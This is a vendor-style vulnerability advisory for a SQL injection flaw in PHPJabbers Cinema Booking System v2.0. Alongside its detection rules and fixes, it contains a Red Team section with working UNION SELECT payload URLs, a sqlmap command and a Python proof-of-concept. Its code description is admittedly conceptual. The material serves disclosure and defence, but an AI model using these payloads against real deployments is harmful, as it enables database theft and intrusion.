CVE-2024-57430
Executive Summary
CVE-2024-57430 is a critical SQL injection vulnerability discovered in PHPJabbers Cinema Booking System v2.0. The flaw resides in the pjActionGetUser function, where the column parameter is not properly sanitized before being used in database queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data disclosure, privilege escalation, or complete database compromise. The vendor has not released a patch, and no official advisory is available. The vulnerability is publicly known, with proof-of-concept details circulating in the security community.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a commercial PHP application (PHPJabbers Cinema Booking System v2.0). It is not an NPM, PyPI, Go, or Ruby package. The risk is primarily to end-users who have deployed this software, as no official patch or update has been provided by the vendor. Organizations using this system should consider it a high-risk component and apply virtual patching or other compensating controls.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the nature of the vulnerability (unauthenticated SQL injection), a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8 - Critical)
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): High (H) - Full database read access possible.
- Integrity (I): High (H) - Data can be modified or deleted.
- Availability (A): High (H) - Database can be disrupted or destroyed.
Threat Level: Critical. The vulnerability is easy to exploit, requires no authentication, and can lead to full database compromise.
Deep Dive & Mechanics
The vulnerability exists in the pjActionGetUser function, likely located in a controller file (e.g., controllers/UsersController.php). The function accepts a column parameter via HTTP request (GET or POST) and uses it directly in an SQL query without proper sanitization or parameterization.
Vulnerable Code Pattern (Conceptual):
function pjActionGetUser() {
$column = $_REQUEST['column'];
$value = $_REQUEST['value'];
$sql = "SELECT * FROM users WHERE $column = '$value'";
$result = $this->oDb->query($sql);
// ...
}
The $column variable is concatenated directly into the SQL query string. An attacker can inject arbitrary SQL by providing a malicious value for column, such as:
column=1 UNION SELECT username,password FROM admin-- -
This would modify the query to:
SELECT * FROM users WHERE 1 UNION SELECT username,password FROM admin-- - = 'value'
The injection allows the attacker to extract data from any table, bypass authentication, or perform other malicious actions.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
function pjActionGetUser() {
$column = $_REQUEST['column'];
$value = $_REQUEST['value'];
$sql = "SELECT * FROM users WHERE $column = '$value'";
$result = $this->oDb->query($sql);
// ...
}
Patched Code (Conceptual - using prepared statements):
function pjActionGetUser() {
$column = $_REQUEST['column'];
$value = $_REQUEST['value'];
// Whitelist allowed columns
$allowedColumns = ['id', 'username', 'email', 'role'];
if (!in_array($column, $allowedColumns)) {
die('Invalid column');
}
$sql = "SELECT * FROM users WHERE $column = :value";
$stmt = $this->oDb->prepare($sql);
$stmt->bindParam(':value', $value);
$stmt->execute();
$result = $stmt->fetchAll();
// ...
}
The patched version uses a whitelist approach to restrict the column parameter to known safe values and uses prepared statements for the value parameter. This prevents SQL injection entirely.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running PHPJabbers Cinema Booking System v2.0
- Network access to the web application
Exploitation Steps:
Identify the vulnerable endpoint: The
pjActionGetUserfunction is typically accessed via a URL like:http://target/index.php?controller=users&action=getUser&column=username&value=adminCraft SQL injection payload: Use the
columnparameter to inject SQL. Example:http://target/index.php?controller=users&action=getUser&column=1 UNION SELECT 1,2,3,4,5,6-- -&value=testExtract data: Adjust the UNION SELECT to match the number of columns in the users table. For example, if the users table has 6 columns:
http://target/index.php?controller=users&action=getUser&column=1 UNION SELECT 1,username,password,4,5,6 FROM admin-- -&value=testAutomated exploitation with sqlmap:
sqlmap -u "http://target/index.php?controller=users&action=getUser&column=username&value=admin" --batch --dbs
Proof-of-Concept (PoC) Script (Python):
import requests
target = "http://target/index.php"
params = {
"controller": "users",
"action": "getUser",
"column": "1 UNION SELECT 1,2,3,4,5,6-- -",
"value": "test"
}
response = requests.get(target, params=params)
print(response.text)
Blue Team
Detection and Response:
- Monitor for anomalous SQL queries: Look for queries containing UNION, SELECT, or other SQL keywords in the
columnparameter. - Web Application Firewall (WAF) rules: Block requests with suspicious patterns in the
columnparameter. - Input validation: Ensure the application validates the
columnparameter against a whitelist. - Database activity monitoring: Alert on unusual queries or data extraction attempts.
Honeypot Setup:
Deploy a decoy instance of the vulnerable application to capture attacker behavior. Log all requests to the pjActionGetUser endpoint and analyze for injection patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/index.phpwithcontroller=users&action=getUserand suspiciouscolumnparameter values (e.g., containing UNION, SELECT, OR 1=1). - Unusual database query patterns in logs (e.g., multiple UNION SELECT statements).
File IOCs:
- Modified application files (e.g.,
controllers/UsersController.php) if the attacker attempts to backdoor the system. - Presence of web shells or other malicious files uploaded via SQL injection (e.g., INTO OUTFILE).
Log IOCs:
- Database error logs showing syntax errors or unexpected query results.
- Web server access logs with repeated requests to the vulnerable endpoint.
Detection Engineering
YARA Rule
rule CVE_2024_57430_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-57430 in PHPJabbers Cinema Booking System"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-57430"
strings:
$suspicious_param = /column\s*=\s*.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1\s*=\s*1|--\s*-)/
$vulnerable_endpoint = /controller=users&action=getUser/
condition:
$vulnerable_endpoint and $suspicious_param
}
Sigma Rule
title: SQL Injection Attempt Against PHPJabbers Cinema Booking System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-57430
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-57430
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains|all:
- 'controller=users'
- 'action=getUser'
- 'column='
keywords:
- 'UNION'
- 'SELECT'
- 'OR 1=1'
- '--'
condition: selection and keywords
falsepositives:
- Legitimate use of the word "union" in a column name (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-57430 SQL Injection Attempt"; flow:to_server,established; content:"controller=users"; http_uri; content:"action=getUser"; http_uri; content:"column="; http_uri; pcre:"/(UNION|SELECT|OR\s+1\s*=\s*1|--)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint: If possible, block access to the
pjActionGetUserfunction via web server configuration (e.g.,.htaccessor Nginx rules). - Apply virtual patching: Use a WAF to block requests with suspicious
columnparameter values. - Upgrade or replace: Since no official patch is available, consider migrating to an alternative booking system or applying custom code fixes.
Long-term Fix:
- Implement input validation: Whitelist allowed column names in the
pjActionGetUserfunction. - Use prepared statements: Replace dynamic SQL with parameterized queries for all database interactions.
- Conduct security audit: Review the entire codebase for similar vulnerabilities.
Compensating Controls:
- Network segmentation: Isolate the application server from sensitive databases.
- Least privilege: Ensure the database user used by the application has minimal permissions (e.g., no DROP or INSERT privileges).
- Logging and monitoring: Enable detailed logging and alert on suspicious activity.
This report was generated by Valters IT DevSecOps & CTI Division.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.